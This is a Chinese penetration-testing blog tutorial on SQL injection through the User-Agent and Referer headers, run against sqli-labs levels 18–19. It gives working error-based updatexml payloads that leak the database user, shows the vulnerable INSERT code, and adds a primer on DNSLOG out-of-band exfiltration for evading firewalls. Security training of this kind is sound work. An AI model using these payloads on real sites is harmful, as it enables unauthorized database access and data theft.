渗透测试---手把手教你SQL注入(3)---UA头注入与referer注入

UA注入与referer注入

UA注入的原理

靶场实战---UA头注入

 验证存在注入

开始注入---根据报错寻找可用POC

开始注入---根据源代码构造可用POC

拓展:MySQL中的insert语句

referer注入的原理

 开始注入---换汤不换药

小结(正确闭合是核心):


渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/kpEKZ渗透测试---手把手教你SQL注入(2)---盲注icon-default.png?t=N7T8http://t.csdnimg.cn/y1VJM

Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/BicwG 

UA注入与referer注入

UA注入的原理

原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,此时就有可能存在UA 头注入,一般会把数据插入到某张表中,所以可以用报错注入

如图,UA头就是指User-Agent:

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 192.168.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

如图:sqli-labs-master靶场的第18关,网站收集了UA头信息,并回显在web页面上(当然,在实战中UA头是不会回显的,需要借助BurpSuite抓包)

BurpSuite抓包的内容:

<br>Your IP ADDRESS is: 192.168.43.1<br>
<font color= "#FFFF00" font size = 3 ></font>
<font color= "#0000ff" font size = 3 >
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0</font>

靶场实战---UA头注入

 验证存在注入

在UA头后添加一个单引号:

在UA头后添加两个单引号:

 回显正常

 后续尝试3个,4个....发现奇数时报错,偶数时正常,证明在UA头的位置存在注入点

开始注入---根据报错寻找可用POC

注意之前的报错内容:

</font>
<br>You have an error in your SQL syntax; 
check the manual that corresponds to 
your MySQL server version for the right syntax to 
use near '192.168.43.1', 'admin')' at line 1<br><br>

 注意///near '192,168.xx.xx', 'admin'///这一部分,说明POC在闭合的时候需要加上,'

可用POC为:

' and updatexml(1,concat(0x7e,user()),1),'
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
 Gecko/20100101 
Firefox/118.0' and updatexml(1,concat(0x7e,user()),1),'

 最终结果:

<font color= "#0000ff" font size = 3 >
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' and updatexml(1,concat(0x7e,user()),1),'</font>
<br>XPATH syntax error: '~root@localhost'<br><br>

 爆出用户名为"root@localhost"

开始注入---根据源代码构造可用POC

之前是在黑盒状态下对代码的执行过程进行猜测,进而构建可用POC,现在假定我们找到了具体的源代码,让我们来分析一波:

靶场第18关源代码路径:\WWW\sqli-labs-master\Less-18\index.php

重点关注这段代码:

echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) 
VALUES ('$uagent', '$IP', $uname)";

这段代码分别将$uagent,$ip,$uname这三个变量插入到security.uagents表中的对应列,据此我们可构建如下POC:

',1,updatexml(1,concat(0x7e,user()),1))#

BP响应如下: 

<font color= "#0000ff" font size = 3 >
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) 
Gecko/20100101 Firefox/118.0',1, updatexml(1,concat(0x7e,user()),1))#
</font>
<br>XPATH syntax error: '~root@localhost'<br><br>

 成功爆出用户名

拓展:MySQL中的insert语句
在MySQL中,INSERT语句用于向数据库表中插入新的行(记录)。
基本语法如下:
INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);
其中,table_name是要插入数据的表名,column1, column2, column3, ...是
要插入数据的列名,value1, value2, value3, ...是要插入的实际值。
以下是一个示例:
INSERT INTO customers (customer_name, email, phone)
VALUES ('John Doe', 'john.doe@example.com', '1234567890');
这个示例将在名为customers的表中插入一条新的记录,包含customer_name、
email和phone三个列的值。
如果要在插入时指定默认值或使用表达式计算值,可以使用以下语法:
INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...),
       (value4, value5, value6, ...),
       ...;
这样可以一次插入多个记录。

除了直接指定值之外,还可以使用子查询作为插入的数据来源:
INSERT INTO table_name (column1, column2, column3, ...)
SELECT column1, column2, column3, ...
FROM another_table_name;
这个示例将从名为another_table_name的表中查询数据,
并将其插入到table_name中。

referer注入的原理

原理:当我们访问一个网站的时候,我们的浏览器需要告诉服务器我们是从哪个地方访问服务器的,大部分网站或者app都会将这样的信息写入数据库用来分析流量从哪里来,以及统计广告投入的成本,通常情况下,服务器会把referer数据插入到某张表中,那么我们就可以借此使用报错注入

也就是告诉服务器我从哪里来

使用BP抓包,其中referer内容如下:

Content-Length: 38
Origin: http://192.168.xx.xx
Connection: close
Referer: http://192.168.xx.xx/sqli-labs-master/Less-19/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

sqli-labs-master靶场第19关,这里在页面上回显出了请求包中的Referer:

 开始注入---换汤不换药

referer注入的POC与上面的原理一致,这里不做赘述,选用POC如下:

',updatexml(1,concat(0x7e,user()),1),'

 BP响应包如下:

<font color= "#0000ff" font size = 3 >
Your Referer is: http://192.168.xx.xx/sqli-labs-master
/Less-19/',updatexml(1,concat(0x7e,user()),1),'
</font>
<br>XPATH syntax error: '~root@localhost'<br>

小结(正确闭合是核心):

不难发现,无论是UA头注入还是referer注入,核心步骤只有两个,一是确认这里有注入点,二是使用适当的方法将我们构造的SQL语句闭合.

盲注测试过多导致IP被封怎么办?----DNSLOG外带

通常我们面对SQL注入过程中没有回显的情况时,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,需要花费大量时间进行测试,并且还可能需要对目标服务器发送大量请求,这会导致我们的IP容易被目标服务器封掉.

在这种情况下,我们可以考虑使用DNSLOG外带的方式

DNSLOG是一种外带技术,通常用于在SQL注入攻击中绕过防火墙和安全措施,
以获取更多的信息。

在SQL注入攻击中,攻击者通常会利用应用程序中的漏洞,
向数据库发送恶意的SQL查询,以获取敏感信息或执行其他恶意操作。
为了防止这种攻击,许多防火墙和安全设备会检测和阻止这些恶意查询。

然而,DNSLOG技术可以使攻击者绕过这些安全措施。
该技术利用了DNS(域名系统)的特性,将恶意查询中的参数替换为DNS查询。
这样,当查询被发送到数据库时,实际上是向DNS服务器发送了一个查询请求。

由于DNS查询是合法的网络操作,许多防火墙和安全设备不会阻止这类查询。
因此,使用DNSLOG技术可以使攻击者绕过防火墙和其他安全措施,
成功地向数据库发送恶意的SQL查询。

DNS查询的大致流程:

我们输入域名之后, 我们的本地域名服务器会先在自身服务器里面查询是否存在ip地址 ,如果没有则发送到根域名服务器 ,如果根域名服务器里面有对应的记录则返回 ,如果没有则告诉本地域名服务器去向顶级域名服务器查找。

原理剖析

dns在解析的时候会留下记录

 当DNS服务器可以进入(比如说是我们自己的)时,我们就可以通过查看日志来获取一些信息.

那么我们可以在dns请求中添加特有的payload字段,并通过dns解析将请求后的关键信息组合成新的三级域名带出,最终在ns服务器的dns日志中显示出来。

所需了解的前置知识

UNC路径

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为

\servername\sharename\directory\filename。例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

注入所需条件

首先需要明了的是,dnslog带外查询属于MySQL注入,在MySQL中有个系统属性secure_file_priv该属性有三种状态:

secure_file_priv为null时表示不允许导入导出
secure_file_priv指定文件夹时表示MySQL的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时表示没有任何限制
load_file函数

MySQL中的LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回,语法为:load_file(file_name),其中file_name是文件的完整路径

好啦,读到这里还请读者大大休息一下下,后续内容在下方卡片:

渗透测试---手把手教你SQL注入(4)--DNSLOG外带注入icon-default.png?t=N7T8http://t.csdnimg.cn/1Q6eU渗透测试---手把手教你SQL注入(5)---Cookie注入,宽字节注入与堆叠注入icon-default.png?t=N7T8http://t.csdnimg.cn/4Rp0e

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值